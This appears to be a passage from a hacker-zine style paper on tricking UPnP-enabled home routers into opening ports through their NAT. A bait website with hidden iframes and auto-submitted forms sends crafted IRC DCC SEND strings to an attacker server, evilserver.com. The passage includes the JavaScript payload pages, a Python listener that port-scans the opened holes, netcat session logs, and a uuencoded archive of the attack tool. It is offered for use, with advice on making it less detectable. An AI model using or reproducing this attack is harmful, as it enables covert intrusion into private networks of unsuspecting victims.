is therefore designed to accommodate this. Our technique allows the attacker (us) to craft a website which, when visited, will cause the victim to inadvertently forward any port of our choice through their NAT, allowing us to connect directly to them inside their private network via UPnP. Before we launch into the specifics of the technique, or our implementation details, you must first be familiar with a couple of fairly straight forward concepts. These are: "Network Address Translation" (NAT) and "Universal Plug and Play" (UPnP). Hopefully most people reading this paper are already familiar with NAT. For those who arn't, NAT basically allows several machines to share a single IP address without conflict. This means that a single computer or router acts as a gateway for several other computers. To learn more about the specifics of NAT read the RFC in the references section [1]. For a typical home user, NAT is implemented by their DSL modem/router and is fairly seamless. The internal IP address is assigned by a DHCP service on the router and internal users are almost never aware of their external address. It is a common misconception that NAT provides an impenetrable security layer for the internal hosts. Often this leads to a more lapse security policy for internal machines, and a nice gaping hole for anyone who manages to penetrate the outer shell. It is very common to find publicly accessible smb shares or poorly patched services etc. using our technique. The other concept which you must be familiar with before we can get into the (hopefully) interesting section of this paper is "Universal Plug and Play ", UPnP. Universal Plug and Play (UPnP) is a set of protocols which were consolidated by the UPnP forum. The general theme which all these protocols have in common is that they allow for seamless implementation of networks and data communication. The major feature of this protocol suite which is of interest to us in the context of this paper is the NAT punching functionality. This feature describes how a gateway can parse various protocols passing through it in order to forward ports through the NAT to the internal service. It is designed in order to allow any host behind the NAT to request that a port be opened up in the outer layer, and any traffic received on this port will be forwarded through to the internal machine, creating new channel for communications. This functionality allows protocols such as FTP/SIP/etc to function. In these cases the gateway responsible for NAT will parse the protocol stream looking for requests for a separate channel to be created. It will then search and replace the IP and port values as they pass over the wire, replacing them with the external values. Thus, the other end of the transaction knows to try to connect to the external IP address and port, rather than the internal values. It is very common currently for most household ADSL/modems and routers to ship with UPnP enabled by default. Also the Linux kernel supports UPnP with ipfilter, however this isn't a default config option and only really active when using a Linux box as a gateway device. It's this feature that we are able to exploit in order to create the forwarding of our choice, allowing us access any specific port on a host behind the NAT directly, regardless of the fact the NAT is there. --[ 2 - Implementation Specifics In this chapter we will try to provide a detailed overview of our technique itself and discuss our implementation details. We will try to explain the criteria for selecting each of the protocols and technologies we used for implementing each component of our technique. For those of you familiar with the technologies associated with our implementation, the overview below should be enough for you to implement our technique by yourself. However we would like to note that our technique can be implemented in other ways, and our implementation serves as just one example. We will only discuss the various technologies used by felinemenace throughout the rest of this paper. The basic premis of our technique is to encapsulate one protocol (specifically one of the protocols which are handled by UPnP NAT Punching functionality) within a second, transport protocol. This way when the gateway see's the traffic it will interpret the encapsulated protocol string as a request to open a port, and act accordingly. Our implementation begins by convincing the victim to visit a website of our choice. This can be accomplished via social engineering, cross site scripting, phishing, baiting, banner ads, etc. Once the victim has accessed our site, we have enough control over their browser in order to redirect it to any port of our choice, on any address. This flexibility allows us to accomodate almost any choice of protocol to be encapsulated within the web session. The aformentioned behaviour makes (in the author's opinion) the use of HTML/Javascript, as a delivery mechanism, to be a very effective choice. When the victim accesses the website a fake (bait) web site is displayed to them. This is done so as not to encourage the user to immediately close the page upon load. From this stage the attacker uses one of the various methods of browser redirection, HTTP response, javascript redirection etc. in order to redirect the victim's browser to a port of the attacker's choice. We chose JavaScript since a large portion of the technique was already written in JavaScript. This is documented in the HTML section of the paper. The attacker chooses a port which corresponds to a particular protocol that performs a data transfer out of band with the initial communication. In our case we chose the DCC feature from the IRC protocol. [3] Our reason for choosing this protocol was simply because we were already familiar with it however, any protocol which fits this criteria is fine. The attacker then (using the JavaScript running on the victims computer at this stage) forces the victim to send text from the appropriate protocol, (DCC in our case) back to the attacker. If the gateway device responsible for NAT has UPnP features enabled, this will cause the device to open up a hole (as mentioned previously) and grant the attacker direct access to the local machine behind the NAT. By redirecting multiple times, an attacker is able to open up a range of ports, to portscan the host, or connect to any service running on the local machine. We have provided an implementation of this for you to use, however obviously writing your own will make it less detectable / more useful. Now that we've looked at the technique from a high level breakdown we will dive deeper into each of the technologies which come together to make our technique work. To summarize this section, the following technologies will be covered by this paper: o IRC Protocol: DCC o A Java Applet. o HTML with JavaScript. o Python code to ./scriptkiddify the whole process up. The rest of this chapter has been broken down into a walkthru of the in's and out's of each of the technologies mentioned, and how we can manipulate them to our desired end. Each of the following sections will describe a single technology, and how we used it. --[ 2.1 - Implementation specifics: IRC Protocol: DCC The first step in our implementation is to find a protocol which requires a separate socket connection in order to communicate directly with an end user. While, as mentioned previously, there exist a multitude of protocols which fit our criteria, for the sake of this paper we will demonstrate one in particular, RFC-1459 [3] Internet Relay Chat. While i'm sure that most people reading this paper are already intimately familiar with IRC, i will give a brief rundown on the aspects of the protocol which are interesting in the scope of this paper. Basically IRC requires that each client connects to a central server, typically on port 6667. When one client wishes to send a message to another they send a message to the server using the existing socket connection they have open. The server then forwards this message on to the target client. If two of the users on an IRC server wish to communicate without having the server be responsible for passing the message between them, (read; trade top secret 0day juarez) they can establish a separate communication channel. This is accomplished by using a subset of the IRC protocol known as DCC (Direct Client to Client). DCC works by one client sending a request to establish an out of band connection with another client on the IRC server. This request contains both the IP and port on which the communication will take place. The second client then simply establishes a TCP connection with these details, and uses it for further communication. What this basically boils down to is the following line. "\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n" This is the format of a DCC SEND command. As you can see the entire command is enclosed within "\x01" characters. It contains the words "DCC SEND" followed by the name of the file which is going to be sent. After this is the internal IP address of the requesting host, in numeric decimal format, and finally the port the transaction will take place on. The format of the IP address is explained more thoroughly by optiklenz in Keen Veracity 6 [5]. This aspect of the protocol clearly will not work under a typical NAT environment (without UPnP enabled). After receiving the IP address and port information, the connecting host would end up trying to connect to a local address (the address of the machine inside the NAT), and never actually make it back to the intended recipient. It is for this reason that a UPnP enabled gateway must parse IRC traffic looking for DCC style commands. When this is detected, the gateway will replace the IP address in the request, with it's own address. When the connection is received on the port specified, the gateway will forward it inside the NAT to the originating host. It is this behaviour that, as the attacker, we can exploit for our own benefit. If, as the attacker, we force the victim to send a crafted DCC SEND request (such as the one above) to port 6667 there's a good chance that the gateway will open up the port specified in the request, providing UPnP is enabled. The cool thing about this protocol is that no IP address is specified for the connecting IP. This means that once the request has taken place, a connection from anywhere in the world is completely valid. Several implementations of UPnP do not even care if the IP address specified in the DCC SEND command is the same as that of the victim machine. In this case, the steps described so far are sufficient to open a gaping hole in the gateway and connect to the victim. However in most cases we need to first establish the internal IP address of the victim's machine. Luckily there is an easy way to accomplish this from the web, which we will address in the next section. --[ 2.2 - Implementation specifics - Java The easiest way to identify the local IP of the victim from the web is to use a Java applet. Applets are able to create a new Socket object and call the "getLocalAddress()" method on it to obtain the local address of the host (obviously). The following Java code illustrates this: String s = (new Socket(s2, i)).getLocalAddress().getHostAddress(); Luckily for us, there already exists a nicely pre-packaged Java applet called MyAddress [4] which does this and can be downloaded straight from their website. The applet supports a variety of ways to access the local IP once it is obtained. One way is to specify the "mayscript" parameter in the applet tag; this causes a javascript function (MyAddress() by default) to be called once the IP is obtained. This is useful, as we can effectively block until we receive this neccessary data. The following HTML demonstrates the use of this applet and the MyAddress() callback function. Also (as mentioned earlier in the DCC protocol section) as the local IP address must be entered in "defunct" format, we've provided the defunct() function to translate from decimal format to defunct: --[ 2.3 - Implementation specifics: HTML Now that we can create a proper DCC send string, the next problem to overcome is how to force the client to unknowingly send the encapsulated string to a malicious server, thereby tricking their gateway into forwarding a port we specify. HTML forms submitted automatically via javascript are highly useful for this. Since the DCC string (and many other protocols you might choose to use with this technique) require multiple lines of communication to trigger the UPnP NAT traversal features, we set the "enctype" attribute to "multipart/form-data". This allows the required carriage return and new line characters to be submitted via a form field. The following form tag shows how to specify the enctype:
In order to automate the submission of our DCC string (payload), we use javascript to submit the form (after the internal IP address is obtained) via the form submit() method as follows: function doevil(ip, port) { var frm = document.forms['evilform']; if(frm == null) return; frm.payload.value = unescape("%01") + "DCC SEND evil.txt " + ip + " " + port + + unescape("%01%0a%0d"); try { frm.submit(); } catch(err) { return; } } As you can see we've used javascript to craft the payload string, because of the neccessary (depending of gateway implementation) carriage return and newline characters. The following HTML code demonstrates the code so far, including the use of the MyAddress applet mentioned in the previous section: (Untitled)
By simply binding netcat to port 6667 of evilserver.com, this code is enough to manually connect back to the port "port" once a victim has viewed this web page, as the following snippet demonstrates: -[max@evilserver:~/simple]$ nc -lp 6667 POST / HTTP/1.1 Host: evilserver.com:6667 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://evilserver.com/simpletest.html Content-Type: multipart/form-data; boundary=--------------------------- 162151946613101846322123277333 Content-Length: 213 -----------------------------162151946613101846322123277333 Content-Disposition: form-data; name="payload" DCC SEND evil.txt 16909060 1337NaN -----------------------------162151946613101846322123277333-- You can see that a victim has connected to our webpage (simpletest.html) and that the page has automatically submitted our DCC SEND send string. Using netcat again, we can connect back to the ip and port above (using the defunct format works fine with nc): -[max@evilserver:~/simple]$ nc 16909060 1337 muahahaha what are you doing here?! Here's what it looks like from the victim's end: -[victim@QQ:~]$ nc -lp 1337 muahahaha what are you doing here?! Obviously there are some significant drawbacks to using this simplified example...who wants to sit and manually monitor their connections and then manually connect back to victims? What if you want to connect to multiple ports? Won't it kinda tip the victim off (or at least bore them mightily) if there's nothing but a dodgy page for them to look at? How about something interesting? Like maybe an article.... The topic of the listening and connect back mechanism is addressed in the next section of this chapter. The content problem and the ability to forward multiple ports per visit are addressed by creating an additional page (evil.html) that contains two HTML iframes, one hidden and one visible. While the victim is distracted by content in the visible iframe (goodframe), the hidden iframe (evilframe) loads the second page (evilform.html) in order to post (as many times as desired) to evilserver. The code might look something like this (note that we keep the MyAddress code in evil.html; there's no sense in loading it multiple times): evil.html: (Untitled) Upon load, evilform.html will access evil.html's (its parent's) variables "port" and "ip" to craft the payload DCC string and then post: evilform.html: (Untitled)
Note that evilform.html is now also setting two additional form variables (with some tags to make them easier to regex out later) so that the listener can note what the internal port and IP of the victim are. Since these variables aren't within a protocol string (like the DCC send string) the gateway will not replace them with the external values. Unfortunately, however, the code above introduces a race condition: you can't be assured that evilform.html has had enough time to load and post before it gets reloaded. We originally expected that this could be remedied if the service listening on 6667 of evilserver.com replied with a page that invoked a callback function in the parent page in the following manner: Unfortunately, modern browsers will limit access to data across iframes if the source page's scheme, domain, or port is different. Because our post is neccessarily to a different port (6667 vs 80), the above code will always generate an exception. Our solution was to mitigate the issue by putting in enough delay after evilform.html begins loading as to be reasonably assured that the page has completed it's automatic posting before reloading it. Since javascript has no sleep() function (that we could find), we used window.setTimeout(fn, t): evil.html: ... function MyAddress(i) {ip = defunct(i); opennextport();} ... function formposting() { window.setTimeout('opennextport()', 1000) } function opennextport() { if(!ports || cp < 0 || cp > ports.length) return; port = ports[cp++]; document.getElementById('evilframe').src = 'evilform.html'; } ... evilform.html: ... function doevil(ip, port) { var frm = document.forms['evilform']; if(ip == null || port == null || frm == null) return; frm.internal_ip.value = 'internal_ip:'+ip; frm.internal_port.value = 'internal_port:'+port; frm.payload.value = unescape("%01") + "DCC SEND evil.txt " + ip + " " + port + + unescape("%01%0a%0d");; window.parent.formposting(); try { frm.submit(); } catch(err) { return; } } ... One cosmetic issue remains with our code: the title of evil.html will not match that of our bait page. If the bait page is hosted via the same scheme on the same domain and port as evil.html, then this can be easily remedied with this code snippet: function settitle() { document.title = window.frames['goodframe'].document.title; } ... However, as previously mentioned, if the bait page is hosted on a different server or using a different scheme, accessing goodframe's document title would cause an exception to be raised. In either case, if the victim were to follow an internal link, the title would become outdated. Our solution was to wrap the assignment in a try / catch block and to set a timeout to call settitle again in 350 milliseconds: function settitle() { try{ document.title = window.frames['goodframe'].document.title;} catch(err) {return;} window.setTimeout('settitle()', 350); } Below is the final code: evil.html: (Untitled) evilform.html: (Untitled)
Voila. Now you have a couple of pages that can be used to open ports for connecting to boxes that are NAT'd behind UPnP enabled routers. The section below details the final component of our implementation: the listener. --[ 2.4 - Implementation specifics: Listener Possibly the most trivial component of our implementation is the listener. This service will sit on evilserver.com and listen on the port of choice (6667 for IRC/DCC and our code above). When the victim browses to evil.html and inadvertantly posts via evilform.html, the listener is responsible for receiving the connection. This can trivially be implemented in python using the "SocketServer" module. A small example of this is as follows: class RequestHandler(SocketServer.StreamRequestHandler): def handle(self): while(True): try: line = self.rfile.readline() except: return ... # begin listening for new connections. tcpserver = SocketServer.TCPServer(('localhost', port),RequestHandler) tcpserver.serve_forever() The implementation of the listener provided with this paper will also attempt to connect back to the victim through their gateway, effectively port scanning the victim, behind the NAT. Here is the code to do this: def scan(self, ip, port): sock = socket.socket() sock.settimeout(1) ret = sock.connect_ex((ip,int(port))) == 0 sock.close() return ret The code for the listener (whiskers.py) can be generated with the script that is included in section Appendix A. The output of whiskers is as follows: -[max@evilserver:~]$ python whiskers.py *********************************************************** Sat, 12 Apr 2008 01:13:17 GMT: Starting server.... Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667 Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:39 GMT: [+] ---- Internal port: 135 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:40 GMT: [+] ---- Internal port: 137 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:42 GMT: [+] ---- Internal port: 138 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:44 GMT: [+] ---- Internal port: 139 on ip: 192.168.0.100 - closed. Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4 Sat, 12 Apr 2008 01:13:45 GMT: [+] ---- Internal port: 22 on ip: 192.168.0.100 - open. Sat, 12 Apr 2008 01:13:53 GMT: Server stopped. As you can see, the victim had a service running on port 22. --[ 3 - Putting it all together with Python. Since it's a bit cumbersome to remember which bit to swivel where and when or what protocol's to use and how, we've provided an extensible python script that generates the two webpages (with the options to name them something a little more innocuous), MyAddress.class, and a listener based on specified parameters. Type ./claw.py -h for usage. --[ 4 - References [1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html [2] UPnP NAT Traversal [3] Khaled would be proud :: http://www.mirc.co.uk/help/rfc1459.txt [4] MyAddress Java Applet :: http://reglos.de/myaddress/MyAddress.html [5] Defunct IP address representation http://www.mirrors.wiretapped.net/security/info/textfiles/keen-veracity/ .. kv6.txt --[ 5 - Appendix A: Source code The source code used in this paper was written by arachne. We really appreciate her work on this project. begin 644 claw.tgz M'XL(`,`+`$@``]1:_U?;QK+OK]9?L18AEH(M!`D),3B!``FT@%5PBF<__)T_ M&[]7MBVO+[VMAX\?*'C0UY\_+%BQ_LC>.`%WG!^%PV_><7==)J/+K/$#V]/NIKVZ>CB\J1[+CI"MRW; MVM"UPZ/WE[C]3;^/;OS`T]OZ_=A/OWE)"J/4FT*?N`/UX&RV/QHE7II:P\!- M4_UW[?*X>]'K.CVBH-^-C]MQVVE'[4%;UTZ[YQ_R)V,OB'7M;/]S'^N_ZUZ> M]+X`_!QKO_OX`:/W;I!ZVIV7#*+4SV:`V)J7)/UHFF&,S5MI-@)`&WF#Z>UC M\"1=`ARYF?L8"A(W8IJZMYZ!61U=-]M:33_TTSAP9ZG(QIY\*OSP)DHF;N9' MH<"(GV#;]\*-X\`?\@-+B`,W%`-/W/G>O3<2]WXV9LS66*2X&8YUK<9,&SI? M1!3JIE;S;P16%W7(1L?Z-7!F$)-N0WV9>/.FM!$H M1B?E71Y"AK3GOE>#&8"HG*G068*;,G-Q%!N=9IBHUDDHM@+ MQ2V(W[LSH8VC`/3N?%=\=$('@NE!"HJ`F'C#L1OZZ80E.8I@C"`)/O$/E&"F M`]`$^9.+`W%X<"`NC\X/1>"'I`;ATJR)B*,TLS3M\.3RX'3_Y.SHHBWW.HQ& M'A%RN@<@P63<+/,F<4:T1]XD"M.,A,"*&;BI/]1(H$,_)I8C,@=B:.J<.S2# M/":EO;IB$#U@QV.?J(KS_1Z6_WBY_^&HK:VFX@IN"!M(K\75A!P$5Y>OFE9C M0*U6HQ5I2$)+4IA'`,$FT7WJT4KXYX=^YN>\P1!J-?#N#K]!@(=2>"RA0DT" MEC,-T]@;^C>^-[*TFJN6(H:G#W[@N\E,KLE*(ZE)LX[=61"YHQVY3.@-A_!D M0AY-F9O#[AFHPVJ`ZB43/TUI=V"$\1>YF1O*(D=:E^WQ$G;=&D#>?M8G8ZO5 MR")<&4!(ZI*G6\6G%`U,1GHBS(&7O1_#R`@SMV3XF#?@:5!Y@;R,2VC->_B. MT%IC(*?CZ%Z:(<4G`%MTI0>0`6Z/Q7`,Z=5JQ_A?;B M1_?.O1PF/BR0^?=YHO?@#:<9\UIF$UY,5>K$K M%PM\\`5),IYDL#"C.4M_RLTCR1$1IKWQ?*N)_U[1?]OTW^NF>"HV-XF]6`QI MW5K-H0SS=TF'9[Q\^?*5A6'+H<"61<,HJ-6Z"`[139O"Q<(<@O"\ME-$&1?! M;SI`@A2S:,J1#)8H(K"7R#5RPBD9"W`:)-YO'NWTCM03#A//A=L626J'?%I, MHL3CH$8#33OZO'_FG,KX`/LA1QE%$]A.0&8;SY^_$M@'!3EH&`(6<)+) MC-Q$QF&$=;$J#)6HFZ*4%BHW2`MTYSWXF;%ARKR&39!3]X&2&BYR!(!IAS(\ M9SE'/O9D/`#2=.*%D%F*_W.]+Z:XIDB\;)J$%"%=.-R0+T28ND2,"R:+'DA3DK*H>FR"L%[,A[&'IQ7N-8'_ARE"01 M)N`1D96I&S<6IT9.I8$7&K20*=Z(S3F2WHLB,7'#67FKN8=1%EZ)QDU6GBO` M?$BQ$)X&4XT2"[]'M.UVC7\K@E0J4%O$*"\HUN[,TQED&(4JJ,&.$K!#6KAJ M3+B^:EQ#'$00*F12=Q"I/UG,#1`%2J+VLLF-(ADTA"`*HV6)@C8`6YTA#,(G MT]@?3J-IJM4>;6ICOHB[P.'&M6)#+$-I5-)``XQP_@G<))A593-R)R&E%ZTV M_ZW`?OR[M`X-D@:BIDNIGHR&^`&/%,"%H;?&5(/*T,RU6JY=TCVX8\P.ZJC6 M'5=2*_!Q9+`PHJ+''5#]5[BL?"[(]$(#N)9CS2APL3(M"2)TS6@0\F5P3:`A*9[-,IEZ38Y\B M`=1I,%+^,*MNF%:5E4N")#!W'A4B17R%5JLM M($9EQ(CSZW**`XD(@&O=H.(P]/5UW:1G+78LU&5\`,JRN(TGJ.C=.6$*^@59 M&68Y8FL:GZ^*9$>QFS+6@.I8!&#YE$MI#XN2=(OTQ>>-&]'O4V79[QLX(-XT M18CXW.0Z@5U(3[V\*%3S&(.-.:_9"7E'%OO^3167SY0P*CC9/*!2Z*_1:A:3 MZC#%',0S.CQ1DPRJ:C2#3NELRGQ*WJAP\.3.L#9JB.$8651NVDMW5#ZJU+1" M$E'G-"I#")DY4F(-$9/5RCB)C`(O^5^NC*":L5.H2E91A4/B"#\2!FQ?GN;- M'.,"00!^<:P0I1+SPY1*IG`9#IOY/G*1EW9BT%::O"$S-Q0_&8Z&0R/'YF2O MDGFJ"D/)G^(]<6\RDE=1A3^2(LCQ80Z4EUG4'UH1MM-`?=-X9$[TA&JY'?$_ MM:LTJPL4E05 M7*MQ%Z,C.`PF5`]9*#%&!#78LF3)*W&E\#654<@-!E$4&(0LJ=;((/QP2H*E MG%6;@'258]0JV7`LYRA"$VHTD>0EC:KV8(S3$"5H;$RLVR2:QCA-F-6U'BVD MA+ILJ>4K*9.8K[!\@256\:=K5.WK^[M9-,_\^:9\?-K]8-TG?D:6MW8MNCAQ MPV>HJ\5^PG8B5JG.@LO3B$]I%:+-,O_F(EE)MX6?.%%B64)5M`03KDBN65:Q M:2+&&/HPB.#4>E.GWH!N7K%]4=O**#%1XHAS/S<6+1G1'.'ZG,P=TSP4TBU+O?6#3J>$^98[/28E2-FG1I]S"&FL9"=@VS,31Q M.Z8.&R<=ZL19RPL9+@([YYP"N=!38PIA'94-9+W6T:E[0P>_-0__'"Q?V:JF9;B`SZVL?G< M*OU!X=LVNZ+*:XRNMDW,&";.X4JNTD^EGKI\=_W>3=HH,.!.XQ-T;<=I9^$#JR_,GSOLHCV$`.,@IC,^6Y>8Y;BI*J M(7(2WL'&1Z4C70NZ^Q;22;.HPF1HJY#-JZ5.0=U:++,(;W6N]+E'<_.31L&G/'*HES`E-S2K0%YT$<9!LPHC+YV#E!3F M`+4LLTHE@$S2V20.J,G?X9V-\#'DP,G?7)43;I1,V M_)5><'0>O7QC7^KHDYEJJ>NPS5FJ^JK^*!MW=%L78\^_'6;]DF]E=F+=]!BG3-S/DW-"9S)=&9ZB1)HH#= MTA&B(QH-'(O6U\6.`45^\T0ZI69*UI"]:W(>LBF2XLA78I2WU&``#2N-`S\S M*+WG3P)J+5B!%]YF8X(AL1FLU8Z](_S=`/^MK9E\8!E))MRKH.6W-JZ?G;G9 M&+YS;VQNO6SZ3#%O4/CQPFZI!TBOF=B_>;M+1%95),1&7QN854)5G%QP=6EB M__XWF<^NL-7HC30]M;U,>Z=!0:*1<>1*,9=>`0"CKZW#AT*&X6 MP,5BV7%L"SM^V$%X3T9>TJ83_`YTG=SZ89L>D.>I%W#2MPO.=.&/*K?@LP,> ME_FYK,[D&LKO)=%%ZH4O2.JE6Z+^55]P:`Y\4AC%PM#AZGQM>?<'RZ^3G%AL M'`!EY5ES_\/HF`N_T`9'K;D/1B0O@XI@#N-L3F3]-PD=-0IS(.M%9,B;V0TV M%IC=W%W)X/)LD]\SD:HWLXA\0FBL M<3-.35$YIT"6>LI3-"MH9^Z#L9ODNRQ\=$>&2_$;;<-*IX.)3\%55$-@OBWQ M^Q++KUB\$G5U11)\%<)J("/GU_GT)B(W:MSK\*^2U2N(R[KL%/W3JDG*G,T? M2U3A4N$LBG78F.R6P`V!3E0]F`BG/OD&P$VR=5JP166KKI&?<']$XO!8NDA) MB7GZK8!8(QV=C$+_"U2(RT=T)/"O45(ZSVD4MPNS>7/?=;_[N?MQT^?QYTCY M5T11\0U2AJB>CY-B=,GU^:67W'G)\B^2Z#,F?E$Y/Z8C0Z)ZXXP&&=!MT0K7 M5T=6_H\/Q5_YW"KDSR`/?2KLAYL;^;V721_(;+XPFV(YGFU+3,;;>/D'>!*3 M\;;_$(T0<1YG!/70\&W>%OH?A\P;9\ M$T(R.4H!',_[:PR@F=0_P:7`2?DS*G5'[YPN3WXY`FS#?K&]]>JEEC,S\H)R M5S57-3.2]O_SYN/1\;'$_0G:T%EC,UZ'LOGPA;A17V:R#]VH?;6'= MI2N7EJ;5#$6_*717_TZS37U[-F^OYR14D\DL^/?3Q1WD9\KJC&("GR<+-5-P MR?=-G3V#`%:_S];1[V-$&N[W^:,PA#*=#]!$NK2T60+F(-D9G+<.^>P4T7=B M;I9+0)T-Z6T>B1I'[*R?^O_R4$]5Y%Y1J3P/\UD>H?1KJ)>U:]T$TW3,8N?W M8849MH7\6DTO=$G]E""ZE1\E)9X[''NC'=DC($'`,6ZYS5^R"2:D\6<91(MP MJ4DE&_P#T/@VUX(21RYM,/KL/__IYI)FP+-"=\QTA^,?1)C,AO3;', MM?EX;\Q''E"JG7ZC''VMRPPRFE0Q3!5^N$DH-U841^WO]6"*%@M7M;*6W^#3 M+0Q.8>?ME[[W0-&Q27&898 M1"L5%IKL[@()!FSHU.C-'C+HG=\!J*>6,M;B7K68+S,4'=0QE=S2QQK2N\H; MJ&BT=^#(D6$0KTIOS045+RXC2='WU9DWXOXR?=?E\2MCU,BKOL6)M42QRH7% MESZ,TZ.EV=OE)SK*3+S*QSGDO_1ICOJ^A=3S>KN]T`@O$#:N94SF+TP2UT^] M.?F?O-D@RQ#(!17%,,CFKTLE$L-&.TLXON+[]T]\2*T'OU%6=/O-O#'ZXG MN/XH\&?C#_<_8?P3QC]A?(KQ*9YK9V>`G&%T!N@YH.<8=W'M`N[@ZN#Z,YY= M8'R!ZR6>]S#NV33[(T8?`?DD]NHKB.@_.[OBRL;?'OXP_@K85]Q_Q?U7W%_C M_AKWU[C7SJX!^1607P'Y%9!?G=VZ<(Z%`7GJQ/SJYV="=\0KP-;L^IYNB[?B MZ1-3U+]B]O;>H6@X]0,)M1GZVF;8>PG;?4:PMF#8B80=J]EMAZ&G$MICZ,X> MUG;J7:Q](!H":Q^+7?M8/-NK7P#OG6@T`:/9'7$L,.4C,$]$8QM06W0DYY]U M$F3C$#`AWNPQYU MW:1]$V9OCZ'/&=IZP;,_V?IKP-K"/`;L5'P@F*._!6R75VGU,/L8:_]C3W\' MZ%MA]IK"$N((F)]MO078.V%\!JPI#K'V%Z&O`W:$TANP;4Z_SOI\8+`O[6,ZNZP[1?-(2YBF@GX7C M/$'9C+]-41?8]+,7AW51[^'Z\X_;KU[OKWU:=7:?_GP$?>O7]=U&_?3UJXV5 MG4]?>J]?[?/SW9[[Q_TMUYNGK^^N)Z??O]R='V/^PK88L7S_2C M)FSM_>JG[Z6UOAQA%7/G_5;/?KEQN/M^ MZW(7.-H9>%O$VGIQZ!#]-M%7U,]?O[*[6UMFT_YT?0XJ!YVG1UWMO]NYTN>T ME23^G;]B1A<2I]`!B".1,,(8@PU8@!V;I))]WGVIVDVRR4NE]K_?7\](`GR\ M>M^V:DM392.DZ9F^>T;T]*)_-I>T^5U\#J:.%UN.$[]#D^JR87K;JU9T*X+/FCK*,,C&N[L:^`PQ]P[\U[, MR[O3C$O=SA#0PW6WPZ>]=OVFL1:XO#G"90<\B.<3_PI7]?[.OPD\?QNT[Y*T M=_2T]VG?U45I,=BU8G!AG4*<_SG$YIJXU1^O+@@.F!\@)P?(5=2?#*YSNM1K#/_0F@:6[2+20K\JE0/7()/:8438677C.ZZZ M>-U"+_Q0R*'WFL1(3J6%>F-NZL[MNNYZ5[4S;U,]PW=;8_QL!6SCI(E1^%A7 M?2UNNG2MZ;ZO/<`>`]AW=]>ZZ&]O\2U2;,\.R89->"6>6&4[V=?4KOMU1SW?'NKPQOL$U-;7?>W MB\U`X4G/B&],+;8!;3,-8XT#8*MZ]>O^>3T!#Q)_HL^';8_FU>$PFAZP5L>^ MXXWWCJG5H[ZQDO(.,8+;\BT'6(8NYNFU@SOBC*F#MZ!"\S*H_1(63-(3%(JY M*ZU.=!;`G_3:^ZL!:%.\H.F-+:NEM73!J23(:46L*/>WD,N:0\_[:_A%KIO= M3BWL3ORX/^*-/C@93.(X()\^CI>8074ZG'C3=&0_,3^T9Z"C M=6[%06<8#29>&)Q;UWV'[X:[P15BQCGPNJE.6K%9J\`'Z.O!FE>!SSCH6`OH M6OON"G,VCN>H3@1MI#7U-UY,?##=\9[;FY;E)J27%RZ\Y!K06]_HM05'--`9 M#4E+8VA,I[4AZ?%->GU#\33P;-\JMWR;1O9*BY8?>42[#ZR"K9_0*+[AW](H M;".U!9_KOOB,=8^BLS\ENW@+[[!IZ=!SSR&=,O1QH,%G=^HQ)'8S-'Q$/V@( M#R)0]B)[AG;$\C$>2_@88D;[S3 M?J6%]G+,(NU\->H'$@>TL=J#%AQT8'^\"G2A29="'FR53PY@;2%=LK1ZND]6-$J[D)Z@&8D7V!:KI_!0N.JX+=^T]U9 M%X,R>!'7L_439KF['D#6V4H7:\64^[S#(_"4]-@<;(5%IK%C==,S]KN6L3\; MMC>I/5Z(>V+E$0W+_@UY!&A$)"TD2OI'7D#9M:Y]\AP=2R6,T;<\;-]=4A3< M[\3\X]?;%D:XS:PI\M^OL#>"8MO-HP=0VH MVF+.Z-T'7+'-(::0]N6<:7-F+;G+#`_[?VQ'H5U+HD:EO:!*5]B)8_,H_E4I MYBFW@&371'J-1L`^OP4Q,"W$OIQ7F6HR%UMB8&Z0$#EZUAC6/QL:^QWVWO0Y M)^D-EA3^L/MGO*=,':,*^N==+$6FA'DTVC*]`NR3F18YN*X:6%'/*I'I@48' M?STM6A.7T&>*/C/9AR6`1J^>Z`4%Q769KE9L'G)C8;-- MY=($W9VJQ^KKZ8S=#UCCWF,-93JK7,)-7Z;?'6![+['=.C3WE<15TS#WU9+- MVLXL0?B]9?K5CJG:#`IXASEU_`7`B://`GTP?X)GG$-Z-ZXRNR>/?!%H886@ M+M%;DQ!L?[%D?7\]NY?/>^FH@,Q'97M!=Y#26J^,@"7IW:7'FNNIPU/^&J/T M&OK6CDR"MB987PEH?4'[W`2IZ2D?2@O#2;^- M0+N:\I:-9UHX@X3L&=F!/9J2_JMSLJ!*PA);]9A"[[B8K9(F,"=D#GTV0N8R M%?H=L@=Z:=&T>9^IMZQGLP^L;)+5O:<7%]&2JX"V-&BALL!ZB]TS;K`FM'*I MO856\B;H8UA&N4P?@=\\6+);TD&PLDF?I8701IX(4Z:YN2,HD!XFQ0LV+IYY MI+3VF(V7T@>0;]&O3]>L#Z%-%6JUZUP'_&Y#)`^2?/-6:TB+5&]R97Y*$FO=CYB]KI/-N M"E7W(7L56MNL#!A+-8CZEA;-?LC:T/%:RU1(C\0(D'$+>+3I#_)5^@>KU,)) M:I-=TG.8HVL[>Z9@([$FCL6N.UH2S=LJH%J;-RN:.QO!&&7:NT4L2:UB>Z2_ M#]`*E1A=#^FUUH#92W[.C"D\E#(EW[]*/51I(7R4#O,B&>G02)OW"+*]9%.Z 